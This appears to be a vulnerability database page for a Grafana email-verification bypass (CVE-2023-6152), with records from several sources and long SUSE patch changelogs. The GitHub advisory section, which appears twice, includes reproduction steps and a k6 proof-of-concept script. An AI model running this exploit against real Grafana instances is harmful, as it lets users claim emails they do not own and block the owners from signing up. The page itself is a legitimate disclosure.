CVE-2023-6152

Email Validation Bypass And Preventing Sign Up From Email's Owner

5.4 MediumFix available

A user changing their email after signing up and verifying it can change it without verification in profile settings.

The configuration option "verify_email_enabled" will only validate email only on sign up.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: Low
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: Low
Availability: Low

Exploit likelihood

1.39%Up 1.3 points since Feb 14, 2024

What each source reports

CVE List Score used 5.4

A user changing their email after signing up and verifying it can change it without verification in profile settings.

The configuration option "verify_email_enabled" will only validate email only on sign up.

Record: CVE-2023-6152
CVSS 3.1: 5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness: CWE-863
Updated: 2026-11-02

EUVDEUVD-2024-0487 5.4

A user changing their email after signing up and verifying it can change it without verification in profile settings.

The configuration option "verify_email_enabled" will only validate email only on sign up.

Record: EUVD-2024-0487
CVSS 3.1: 5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Updated: 2026-11-02

GitHub AdvisoriesGHSA-3hv4-r2fm-h27f 5.4

Email Validation Bypass And Preventing Sign Up From Email's Owner

Summary

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

Here user a prevents owner of [email protected] to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation:

Start a new grafana instance using latest version
Sign up with email foo@example.
Login to that account.
Go to profile and change email to [email protected]
That's it, your using an email you don't own.

Prevent email's owner from signing up:

Start a new grafana instance using latest version
Sign up with email foo@example.
Login to that account.
Go to profile and change username (not email) to [email protected]
Signout.
Try to sign up with email [email protected]
Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to [email protected]", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "[email protected]",
      "login": "[email protected]", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "username": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Impact

Bypass email verification. Prevent legitimate owner from signing up.

Record: GHSA-3hv4-r2fm-h27f
CVSS 3.1: 5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness: CWE-863
Updated: 2026-11-02

NVD 5.4

A user changing their email after signing up and verifying it can change it without verification in profile settings.

The configuration option "verify_email_enabled" will only validate email only on sign up.

Record: CVE-2023-6152
CVSS 3.1: 5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness: CWE-863
Updated: 2026-11-02

OSV 5.4

A user changing their email after signing up and verifying it can change it without verification in profile settings.

The configuration option "verify_email_enabled" will only validate email only on sign up.

Record: CVE-2023-6152
CVSS 3.1: 5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness: CWE-863
Updated: 2026-11-02

OSVGHSA-3hv4-r2fm-h27f 5.4

Email Validation Bypass And Preventing Sign Up From Email's Owner

Summary

Here user a prevents owner of [email protected] to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation:

Start a new grafana instance using latest version
Sign up with email foo@example.
Login to that account.
Go to profile and change email to [email protected]
That's it, your using an email you don't own.

Prevent email's owner from signing up:

Start a new grafana instance using latest version
Sign up with email foo@example.
Login to that account.
Go to profile and change username (not email) to [email protected]
Signout.
Try to sign up with email [email protected]
Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to [email protected]", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "[email protected]",
      "login": "[email protected]", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "username": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Impact

Bypass email verification. Prevent legitimate owner from signing up.

Record: GHSA-3hv4-r2fm-h27f
CVSS 3.1: 5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness: CWE-863
Updated: 2026-11-02

Show 12 moreShow less

OSVUBUNTU-CVE-2023-6152 5.4

A user changing their email after signing up and verifying it can change it without verification in profile settings. The configuration option "verify_email_enabled" will only validate email only on sign up.

Record: UBUNTU-CVE-2023-6152
CVSS 3.1: 5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Updated: 2026-11-02

OSVBIT-grafana-2023-6152 No score

A user changing their email after signing up and verifying it can change it without verification in profile settings.

The configuration option "verify_email_enabled" will only validate email only on sign up.

Record: BIT-grafana-2023-6152
Updated: 2026-11-02

OSVopenSUSE-SU-2024:13713-1 No score

grafana-10.1.7-1.1 on GA media

These are all security issues fixed in the grafana-10.1.7-1.1 package on the GA media of openSUSE Tumbleweed.

Record: openSUSE-SU-2024:13713-1
Updated: 2026-11-02

OSVSUSE-SU-2024:1419-1 No score

Security Beta update for SUSE Manager Client Tools

This update fixes the following issues:

golang-github-prometheus-alertmanager:

Use %patch -P N instead of deprecated %patchN

golang-github-prometheus-node_exporter:

Add device_error label for filesystem metrics.
Update rtnetlink library to fix errors during ARP metrics collection.
Update to 1.7.0 (jsc#PED-7893, jsc#PED-7928):
- [FEATURE] Add ZFS freebsd per dataset stats #2753
- [FEATURE] Add cpu vulnerabilities reporting from sysfs #2721
- [ENHANCEMENT] Parallelize stat calls in Linux filesystem collector #1772
- [ENHANCEMENT] Add missing linkspeeds to ethtool collector #2711
- [ENHANCEMENT] Add CPU MHz as the value for node_cpu_info metric #2778
- [ENHANCEMENT] Improve qdisc collector performance #2779
- [ENHANCEMENT] Add include and exclude filter for hwmon collector #2699
- [ENHANCEMENT] Optionally fetch ARP stats via rtnetlink instead of procfs #2777
- [BUFFIX] Fix ZFS arcstats on FreeBSD 14.0+ 2754
- [BUGFIX] Fallback to 32-bit stats in netdev #2757
- [BUGFIX] Close btrfs.FS handle after use #2780
- [BUGFIX] Move RO status before error return #2807
- [BUFFIX] Fix promhttp_metric_handler_errors_total being always active #2808
- [BUGFIX] Fix nfsd v4 index miss #2824
Update to 1.6.1: (no source code changes in this release)
BuildRequire go1.20
Update to 1.6.0:
- [CHANGE] Fix cpustat when some cpus are offline #2318
- [CHANGE] Remove metrics of offline CPUs in CPU collector #2605
- [CHANGE] Deprecate ntp collector #2603
- [CHANGE] Remove bcache cache_readaheads_totals metrics #2583
- [CHANGE] Deprecate supervisord collector #2685
- [FEATURE] Enable uname collector on NetBSD #2559
- [FEATURE] NetBSD support for the meminfo collector #2570
- [FEATURE] NetBSD support for CPU collector #2626
- [FEATURE] Add FreeBSD collector for netisr subsystem #2668
- [FEATURE] Add softirqs collector #2669
- [ENHANCEMENT] Add suspended as a node_zfs_zpool_state #2449
- [ENHANCEMENT] Add administrative state of Linux network interfaces #2515
- [ENHANCEMENT] Log current value of GOMAXPROCS #2537
- [ENHANCEMENT] Add profiler options for perf collector #2542
- [ENHANCEMENT] Allow root path as metrics path #2590
- [ENHANCEMENT] Add cpu frequency governor metrics #2569
- [ENHANCEMENT] Add new landing page #2622
- [ENHANCEMENT] Reduce privileges needed for btrfs device stats #2634
- [ENHANCEMENT] Add ZFS memory_available_bytes #2687
- [ENHANCEMENT] Use SCSI_IDENT_SERIAL as serial in diskstats #2612
- [ENHANCEMENT] Read missing from netlink netclass attributes from sysfs #2669
- [BUGFIX] perf: fixes for automatically detecting the correct tracefs mountpoints #2553
- [BUGFIX] Fix thermal_zone collector noise @2554
- [BUGFIX] Fix a problem fetching the user wire count on FreeBSD 2584
- [BUGFIX] interrupts: Fix fields on linux aarch64 #2631
- [BUGFIX] Remove metrics of offline CPUs in CPU collector #2605
- [BUGFIX] Fix OpenBSD filesystem collector string parsing #2637
- [BUGFIX] Fix bad reporting of node_cpu_seconds_total in OpenBSD #2663
Change go_modules archive in _service to use obscpio file

golang-github-prometheus-promu:

Don't pass -extldflags -static by default

grafana:

Require Go 1.20
Update to version 9.5.16:
- [SECURITY] CVE-2023-6152: Add email verification when updating user email (bsc#1219912)
- [BUGFIX] Annotations: Split cleanup into separate queries and deletes to avoid deadlocks on MySQL
Update to version 9.5.15:
- [FEATURE] Alerting: Attempt to retry retryable errors
Update to version 9.5.14:
- [BUGFIX] Alerting: Fix state manager to not keep datasource_uid and ref_id labels in state after Error
- [BUGFIX] Transformations: Config overrides being lost when config from query transform is applied
- [BUGFIX] LDAP: Fix enable users on successfull login
Update to version 9.5.13:
- [BUGFIX] BrowseDashboards: Only remember the most recent …

Record: SUSE-SU-2024:1419-1
Updated: 2026-11-02

OSVSUSE-SU-2024:1427-1 No score

Security Beta update for SUSE Manager Client Tools and Salt

This update fixes the following issues:

POS_Image-Graphical7:

Update to version 0.1.1710765237.46af599
- Move image services to dracut-saltboot package
- Use salt bundle
Update to version 0.1.1645440615.7f1328c
- Remove deprecated kiwi functions

POS_Image-JeOS7:

Update to version 0.1.1710765237.46af599
- Move image services to dracut-saltboot package
- Use salt bundle
Update to version 0.1.1645440615.7f1328c
- Remove deprecated kiwi functions

ansible:

CVE-2023-5764: Address issues where internal templating can cause unsafe variables to lose their unsafe designation (bsc#1216854)
- breaking_changes: assert - Nested templating may result in an inability for the conditional to be evaluated. See the porting guide for more information.
CVE-2024-0690: Address issue where ANSIBLE_NO_LOG was ignored (bsc#1219002)
CVE-2020-14365: Do a GPG validation if the disable_gpg_check option is not set. (bsc#1175993)
Don't Require python-coverage, it is needed only for testing (bsc#1177948)
CVE-2018-10874: Inventory variables are loaded from current working directory when running ad-hoc command that can lead to code execution (included upstream in 2.6.1) (bsc#1099805)

dracut-saltboot:

Update to version 0.1.1710765237.46af599
- Load only first available leaseinfo (bsc#1221092)
Update to version 0.1.1681904360.84ef141

grafana:

Require Go 1.20
Update to version 9.5.16:
- [SECURITY] CVE-2023-6152: Add email verification when updating user email (bsc#1219912)
- [BUGFIX] Annotations: Split cleanup into separate queries and deletes to avoid deadlocks on MySQL
Update to version 9.5.15:
- [FEATURE] Alerting: Attempt to retry retryable errors
Update to version 9.5.14:
- [BUGFIX] Alerting: Fix state manager to not keep datasource_uid and ref_id labels in state after Error
- [BUGFIX] Transformations: Config overrides being lost when config from query transform is applied
- [BUGFIX] LDAP: Fix enable users on successfull login
Update to version 9.5.13:
- [BUGFIX] BrowseDashboards: Only remember the most recent expanded folder
- [BUGFIX] Licensing: Pass func to update env variables when starting plugin
Update to version 9.5.12:
- [FEATURE] Azure: Add support for Workload Identity authentication
Update to version 9.5.9:
- [FEATURE] SSE: Fix DSNode to not panic when response has empty response
- [FEATURE] Prometheus: Handle the response with different field key order
- [BUGFIX] LDAP: Fix user disabling

golang-github-prometheus-node_exporter:

Add device_error label for filesystem metrics.
Update rtnetlink library to fix errors during ARP metrics collection.
Update to 1.7.0 (jsc#PED-7893, jsc#PED-7928):
- [FEATURE] Add ZFS freebsd per dataset stats #2753
- [FEATURE] Add cpu vulnerabilities reporting from sysfs #2721
- [ENHANCEMENT] Parallelize stat calls in Linux filesystem collector #1772
- [ENHANCEMENT] Add missing linkspeeds to ethtool collector #2711
- [ENHANCEMENT] Add CPU MHz as the value for node_cpu_info metric #2778
- [ENHANCEMENT] Improve qdisc collector performance #2779
- [ENHANCEMENT] Add include and exclude filter for hwmon collector #2699
- [ENHANCEMENT] Optionally fetch ARP stats via rtnetlink instead of procfs #2777
- [BUFFIX] Fix ZFS arcstats on FreeBSD 14.0+ 2754
- [BUGFIX] Fallback to 32-bit stats in netdev #2757
- [BUGFIX] Close btrfs.FS handle after use #2780
- [BUGFIX] Move RO status before error return #2807
- [BUFFIX] Fix promhttp_metric_handler_errors_total being always active #2808
- [BUGFIX] Fix nfsd v4 index miss #2824
Update to 1.6.1: (no source code changes in this release)
BuildRequire go1.20
Update to 1.6.0:
- [CHANGE] Fix cpustat when some cpus are offline #2318
- [CHANGE] Remove metrics of offline CPUs in CPU collector #2605
- [CHANGE] Deprecate ntp collector #2603
- [CHANGE] Remove bcache cache_readaheads_totals metrics…

Record: SUSE-SU-2024:1427-1
Updated: 2026-11-02

OSVSUSE-SU-2024:1508-1 No score

Security update for SUSE Manager Client Tools

This update fixes the following issues:

golang-github-prometheus-node_exporter:

Update to 1.7.0 (jsc#PED-7893, jsc#PED-7928):
- [FEATURE] Add ZFS freebsd per dataset stats #2753
- [FEATURE] Add cpu vulnerabilities reporting from sysfs #2721
- [ENHANCEMENT] Parallelize stat calls in Linux filesystem collector #1772
- [ENHANCEMENT] Add missing linkspeeds to ethtool collector #2711
- [ENHANCEMENT] Add CPU MHz as the value for node_cpu_info metric #2778
- [ENHANCEMENT] Improve qdisc collector performance #2779
- [ENHANCEMENT] Add include and exclude filter for hwmon collector #2699
- [ENHANCEMENT] Optionally fetch ARP stats via rtnetlink instead of procfs #2777
- [BUFFIX] Fix ZFS arcstats on FreeBSD 14.0+ 2754
- [BUGFIX] Fallback to 32-bit stats in netdev #2757
- [BUGFIX] Close btrfs.FS handle after use #2780
- [BUGFIX] Move RO status before error return #2807
- [BUFFIX] Fix promhttp_metric_handler_errors_total being always active #2808
- [BUGFIX] Fix nfsd v4 index miss #2824
Update to 1.6.1: (no source code changes in this release)
BuildRequire go1.20
Update to 1.6.0:
- [CHANGE] Fix cpustat when some cpus are offline #2318
- [CHANGE] Remove metrics of offline CPUs in CPU collector #2605
- [CHANGE] Deprecate ntp collector #2603
- [CHANGE] Remove bcache cache_readaheads_totals metrics #2583
- [CHANGE] Deprecate supervisord collector #2685
- [FEATURE] Enable uname collector on NetBSD #2559
- [FEATURE] NetBSD support for the meminfo collector #2570
- [FEATURE] NetBSD support for CPU collector #2626
- [FEATURE] Add FreeBSD collector for netisr subsystem #2668
- [FEATURE] Add softirqs collector #2669
- [ENHANCEMENT] Add suspended as a node_zfs_zpool_state #2449
- [ENHANCEMENT] Add administrative state of Linux network interfaces #2515
- [ENHANCEMENT] Log current value of GOMAXPROCS #2537
- [ENHANCEMENT] Add profiler options for perf collector #2542
- [ENHANCEMENT] Allow root path as metrics path #2590
- [ENHANCEMENT] Add cpu frequency governor metrics #2569
- [ENHANCEMENT] Add new landing page #2622
- [ENHANCEMENT] Reduce privileges needed for btrfs device stats #2634
- [ENHANCEMENT] Add ZFS memory_available_bytes #2687
- [ENHANCEMENT] Use SCSI_IDENT_SERIAL as serial in diskstats #2612
- [ENHANCEMENT] Read missing from netlink netclass attributes from sysfs #2669
- [BUGFIX] perf: fixes for automatically detecting the correct tracefs mountpoints #2553
- [BUGFIX] Fix thermal_zone collector noise @2554
- [BUGFIX] Fix a problem fetching the user wire count on FreeBSD 2584
- [BUGFIX] interrupts: Fix fields on linux aarch64 #2631
- [BUGFIX] Remove metrics of offline CPUs in CPU collector #2605
- [BUGFIX] Fix OpenBSD filesystem collector string parsing #2637
- [BUGFIX] Fix bad reporting of node_cpu_seconds_total in OpenBSD #2663
Change go_modules archive in _service to use obscpio file

grafana:

Packaging improvements:
- Changed deprecated disabled service mode to manual
- Drop golang-packaging macros
- Drop explicit mod=vendor as it is enabled automatically
Update to version 9.5.18:
- [SECURITY] CVE-2024-1313: Require same organisation when deleting snapshots (bsc#1222155)
Update to version 9.5.17:
- [FEATURE] Alerting: Backport use Alertmanager API v2
Require Go 1.20
Update to version 9.5.16:
- [SECURITY] CVE-2023-6152: Add email verification when updating user email (bsc#1219912)
- [BUGFIX] Annotations: Split cleanup into separate queries and deletes to avoid deadlocks on MySQL
Update to version 9.5.15:
- [FEATURE] Alerting: Attempt to retry retryable errors
Update to version 9.5.14:
- [BUGFIX] Alerting: Fix state manager to not keep datasource_uid and ref_id labels in state after Error
- [BUGFIX] Transformations: Config overrides being lost when config from query transform is applied
- [BUGFIX] LDAP: Fix enable users on…

Record: SUSE-SU-2024:1508-1
Updated: 2026-11-02

OSVSUSE-SU-2024:1509-1 No score

Security update for SUSE Manager Client Tools

This update fixes the following issues:

POS_Image-Graphical7 was updated to version 0.1.1710765237.46af599:

Version 0.1.1710765237.46af599
- Moved image services to dracut-saltboot package
- Use salt bundle
Version 0.1.1645440615.7f1328c
- Removed deprecated kiwi functions

POS_Image-JeOS7 was updated to version 0.1.1710765237.46af599:

Version 0.1.1710765237.46af599
- Moved image services to dracut-saltboot package
- Use salt bundle
Version 0.1.1645440615.7f1328c
- Removed deprecated kiwi functions

ansible received the following fixes:

Security issues fixed:
- CVE-2023-5764: Address issues where internal templating can cause unsafe variables to lose their unsafe designation (bsc#1216854)
  - Breaking changes: assert - Nested templating may result in an inability for the conditional to be evaluated. See the porting guide for more information.
- CVE-2024-0690: Address issue where ANSIBLE_NO_LOG was ignored (bsc#1219002)
- CVE-2020-14365: Ensure that packages are GPG validated (bsc#1175993)
- CVE-2020-10744: Fixed insecure temporary directory creation (bsc#1171823)
- CVE-2018-10874: Fixed inventory variables loading from current working directory when running ad-hoc command that can lead to code execution (bsc#1099805)
Bugs fixed:
- Don't Require python-coverage, it is needed only for testing (bsc#1177948)

dracut-saltboot was updated to version 0.1.1710765237.46af599:

Version 0.1.1710765237.46af599
- Load only first available leaseinfo (bsc#1221092)
Version 0.1.1681904360.84ef141

grafana was updated to version 9.5.18:

Grafana now requires Go 1.20
Security issues fixed:
- CVE-2024-1313: Require same organisation when deleting snapshots (bsc#1222155)
- CVE-2023-6152: Add email verification when updating user email (bsc#1219912)
Other non-security related changes:
- Version 9.5.17:
  - [FEATURE] Alerting: Backport use Alertmanager API v2
- Version 9.5.16:
  - [BUGFIX] Annotations: Split cleanup into separate queries and deletes to avoid deadlocks on MySQL
- Version 9.5.15:
  - [FEATURE] Alerting: Attempt to retry retryable errors
- Version 9.5.14:
  - [BUGFIX] Alerting: Fix state manager to not keep datasource_uid and ref_id labels in state after Error
  - [BUGFIX] Transformations: Config overrides being lost when config from query transform is applied
  - [BUGFIX] LDAP: Fix enable users on successfull login
- Version 9.5.13:
  - [BUGFIX] BrowseDashboards: Only remember the most recent expanded folder
  - [BUGFIX] Licensing: Pass func to update env variables when starting plugin
- Version 9.5.12:
  - [FEATURE] Azure: Add support for Workload Identity authentication
- Version 9.5.9:
  - [FEATURE] SSE: Fix DSNode to not panic when response has empty response
  - [FEATURE] Prometheus: Handle the response with different field key order
  - [BUGFIX] LDAP: Fix user disabling

mgr-daemon was updated to version 4.3.9-0:

Version 4.3.9-0
- Update translation strings

spacecmd was updated to version 4.3.27-0:

Version 4.3.27-0
- Update translation strings

spacewalk-client-tools was updated to version 4.3.19-0:

Version 4.3.19-0
- Update translation strings

spacewalk-koan was updated to version version 4.3.6-0:

Version 4.3.6-0
- Change Docker image location for test

uyuni-common-libs was updated to version 4.3.10-0:

Version 4.3.10-0
- Add support for package signature type V4 RSA/SHA384
- Add support for package signature type V4 RSA/SHA512 (bsc#1221465)

uyuni-proxy-systemd-services was updated to version 4.3.12-0:

Version 4.3.12-0
- Update to SUSE Manager 4.3.12

Record: SUSE-SU-2024:1509-1
Updated: 2026-11-02

OSVSUSE-SU-2024:1530-1 No score

Security update for grafana and mybatis

This update for grafana and mybatis fixes the following issues:

grafana was updated to version 9.5.18:

Grafana now requires Go 1.20
Security issues fixed:
- CVE-2024-1313: Require same organisation when deleting snapshots (bsc#1222155)
- CVE-2023-6152: Add email verification when updating user email (bsc#1219912)
Other non-security related changes:
- Version 9.5.17:
  - [FEATURE] Alerting: Backport use Alertmanager API v2
- Version 9.5.16:
  - [BUGFIX] Annotations: Split cleanup into separate queries and deletes to avoid deadlocks on MySQL
- Version 9.5.15:
  - [FEATURE] Alerting: Attempt to retry retryable errors
- Version 9.5.14:
  - [BUGFIX] Alerting: Fix state manager to not keep datasource_uid and ref_id labels in state after Error
  - [BUGFIX] Transformations: Config overrides being lost when config from query transform is applied
  - [BUGFIX] LDAP: Fix enable users on successfull login
- Version 9.5.13:
  - [BUGFIX] BrowseDashboards: Only remember the most recent expanded folder
  - [BUGFIX] Licensing: Pass func to update env variables when starting plugin
- Version 9.5.12:
  - [FEATURE] Azure: Add support for Workload Identity authentication
- Version 9.5.9:
  - [FEATURE] SSE: Fix DSNode to not panic when response has empty response
  - [FEATURE] Prometheus: Handle the response with different field key order
  - [BUGFIX] LDAP: Fix user disabling

mybatis:

apache-commons-ognl is now a non-optional dependency
Fixed building with log4j v1 and v2 dependencies

Record: SUSE-SU-2024:1530-1
Updated: 2026-11-02

OSVSUSE-SU-2024:1530-2 No score

Security update for grafana and mybatis

This update for grafana and mybatis fixes the following issues:

grafana was updated to version 9.5.18:

Grafana now requires Go 1.20
Security issues fixed:
- CVE-2024-1313: Require same organisation when deleting snapshots (bsc#1222155)
- CVE-2023-6152: Add email verification when updating user email (bsc#1219912)
Other non-security related changes:
- Version 9.5.17:
  - [FEATURE] Alerting: Backport use Alertmanager API v2
- Version 9.5.16:
  - [BUGFIX] Annotations: Split cleanup into separate queries and deletes to avoid deadlocks on MySQL
- Version 9.5.15:
  - [FEATURE] Alerting: Attempt to retry retryable errors
- Version 9.5.14:
  - [BUGFIX] Alerting: Fix state manager to not keep datasource_uid and ref_id labels in state after Error
  - [BUGFIX] Transformations: Config overrides being lost when config from query transform is applied
  - [BUGFIX] LDAP: Fix enable users on successfull login
- Version 9.5.13:
  - [BUGFIX] BrowseDashboards: Only remember the most recent expanded folder
  - [BUGFIX] Licensing: Pass func to update env variables when starting plugin
- Version 9.5.12:
  - [FEATURE] Azure: Add support for Workload Identity authentication
- Version 9.5.9:
  - [FEATURE] SSE: Fix DSNode to not panic when response has empty response
  - [FEATURE] Prometheus: Handle the response with different field key order
  - [BUGFIX] LDAP: Fix user disabling

mybatis:

apache-commons-ognl is now a non-optional dependency
Fixed building with log4j v1 and v2 dependencies

Record: SUSE-SU-2024:1530-2
Updated: 2026-11-02

OSVSUSE-SU-2025:0524-1 No score

Security update for SUSE Manager Client Tools

This update fixes the following issues:

golang-github-prometheus-prometheus was updated from version 2.45.6 to 2.53.3 (jsc#PED-11649):

Security issues fixed:
- CVE-2024-51744: Updated golang-jwt to version 5.0 to fix bad error handling (bsc#1232970)
Highlights of other changes:
- Performance:
  - Significant enhancements to PromQL execution speed, TSDB operations (especially querying and compaction) and remote write operations.
  - Default GOGC value lowered to 75 for better memory management.
  - Option to limit memory usage from dropped targets added.
- New Features:
  - Experimental OpenTelemetry ingestion.
  - Automatic memory limit handling.
  - Native histogram support, including new functions, UI enhancements, and improved scraping.
  - Improved alerting features, such as relabeling rules for AlertmanagerConfig and a new query_offset option.
  - Expanded service discovery options with added metadata and support for new services.
  - New promtool commands for PromQL formatting, label manipulation, metric pushing, and OpenMetrics dumping.
- Bug Fixes:
  - Numerous fixes across scraping, API, TSDB, PromQL, and service discovery.
- For a detailed list of changes consult the package changelog or https://github.com/prometheus/prometheus/compare/v2.45.6...v2.53.3

golang-github-prometheus-promu was updated to version 0.17.0:

Added codesign utility function

grafana was updated from version 9.5.18 to 10.4.13 (jsc#PED-11591,jsc#PED-11649):

Security issues fixed:
- CVE-2024-45337: Prevent possible misuse of ServerConfig.PublicKeyCallback by upgrading golang.org/x/crypto (bsc#1234554)
- CVE-2023-3128: Fixed authentication bypass using Azure AD OAuth (bsc#1212641)
- CVE-2023-6152: Add email verification when updating user email (bsc#1219912)
- CVE-2024-6837: Fixed potential data source permission escalation (bsc#1236301)
- CVE-2024-8118: Fixed permission on external alerting rule write endpoint (bsc#1231024)
Potential breaking changes in version 10:
- In panels using the extract fields transformation, where one of the extracted names collides with one of the already existing ields, the extracted field will be renamed.
- For the existing backend mode users who have table visualization might see some inconsistencies on their panels. We have updated the table column naming. This will potentially affect field transformations and/or field overrides. To resolve this either: update transformation or field override.
- For the existing backend mode users who have Transformations with the time field, might see their transformations are not working. Those panels that have broken transformations will fail to render. This is because we changed the field key. To resolve this either: Remove the affected panel and re-create it; Select the Time field again; Edit the time field as Time for transformation in panel.json or dashboard.json
- The following data source permission endpoints have been removed: GET /datasources/:datasourceId/permissions POST /api/datasources/:datasourceId/permissions DELETE /datasources/:datasourceId/permissions POST /datasources/:datasourceId/enable-permissions POST /datasources/:datasourceId/disable-permissions
  - Please use the following endpoints instead: GET /api/access-control/datasources/:uid for listing data source permissions POST /api/access-control/datasources/:uid/users/:id, POST /api/access-control/datasources/:uid/teams/:id and POST /api/access-control/datasources/:uid/buildInRoles/:id for adding or removing data source permissions
- If you are using Terraform Grafana provider to manage data source permissions, you will need to upgrade your provider.
- For the existing backend mode users who have table visualization might see some inconsistencies on their panels. …

Record: SUSE-SU-2025:0524-1
Updated: 2026-11-02

OSVSUSE-SU-2025:0525-1 No score

Security update for SUSE Manager Client Tools

This update fixes the following issues:

dracut-saltboot was updated to version 0.1.1728559936.c16d4fb:

Added MAC based terminal naming option (jsc#SUMA-314)

golang-github-prometheus-prometheus was updated from version 2.45.6 to 2.53.3 (jsc#PED-11649):

Security issues fixed:
- CVE-2024-51744: Updated golang-jwt to version 5.0 to fix bad error handling (bsc#1232970)
Highlights of other changes:
- Performance:
  - Significant enhancements to PromQL execution speed, TSDB operations (especially querying and compaction) and remote write operations.
  - Default GOGC value lowered to 75 for better memory management.
  - Option to limit memory usage from dropped targets added.
- New Features:
  - Experimental OpenTelemetry ingestion.
  - Automatic memory limit handling.
  - Native histogram support, including new functions, UI enhancements, and improved scraping.
  - Improved alerting features, such as relabeling rules for AlertmanagerConfig and a new query_offset option.
  - Expanded service discovery options with added metadata and support for new services.
  - New promtool commands for PromQL formatting, label manipulation, metric pushing, and OpenMetrics dumping.
- Bug Fixes:
  - Numerous fixes across scraping, API, TSDB, PromQL, and service discovery.
- For a detailed list of changes consult the package changelog or https://github.com/prometheus/prometheus/compare/v2.45.6...v2.53.3

grafana was updated from version 9.5.18 to 10.4.13 (jsc#PED-11591,jsc#PED-11649):

Security issues fixed:
- CVE-2024-45337: Prevent possible misuse of ServerConfig.PublicKeyCallback by upgrading golang.org/x/crypto (bsc#1234554)
- CVE-2023-3128: Fixed authentication bypass using Azure AD OAuth (bsc#1212641)
- CVE-2023-6152: Add email verification when updating user email (bsc#1219912)
- CVE-2024-6837: Fixed potential data source permission escalation (bsc#1236301)
- CVE-2024-8118: Fixed permission on external alerting rule write endpoint (bsc#1231024)
Potential breaking changes in version 10:
- In panels using the extract fields transformation, where one of the extracted names collides with one of the already existing ields, the extracted field will be renamed.
- For the existing backend mode users who have table visualization might see some inconsistencies on their panels. We have updated the table column naming. This will potentially affect field transformations and/or field overrides. To resolve this either: update transformation or field override.
- For the existing backend mode users who have Transformations with the time field, might see their transformations are not working. Those panels that have broken transformations will fail to render. This is because we changed the field key. To resolve this either: Remove the affected panel and re-create it; Select the Time field again; Edit the time field as Time for transformation in panel.json or dashboard.json
- The following data source permission endpoints have been removed: GET /datasources/:datasourceId/permissions POST /api/datasources/:datasourceId/permissions DELETE /datasources/:datasourceId/permissions POST /datasources/:datasourceId/enable-permissions POST /datasources/:datasourceId/disable-permissions
  - Please use the following endpoints instead: GET /api/access-control/datasources/:uid for listing data source permissions POST /api/access-control/datasources/:uid/users/:id, POST /api/access-control/datasources/:uid/teams/:id and POST /api/access-control/datasources/:uid/buildInRoles/:id for adding or removing data source permissions
- If you are using Terraform Grafana provider to manage data source permissions, you will need to upgrade your provider.
- For the existing backend mode users who have table visualization might see some inconsistencies…

Record: SUSE-SU-2025:0525-1
Updated: 2026-11-02

OSVSUSE-SU-2025:0545-1 No score

Security update for grafana

This update for grafana fixes the following issues:

grafana was updated from version 9.5.18 to 10.4.13 (jsc#PED-11591,jsc#PED-11649):

Security issues fixed:
- CVE-2024-45337: Prevent possible misuse of ServerConfig.PublicKeyCallback by upgrading golang.org/x/crypto (bsc#1234554)
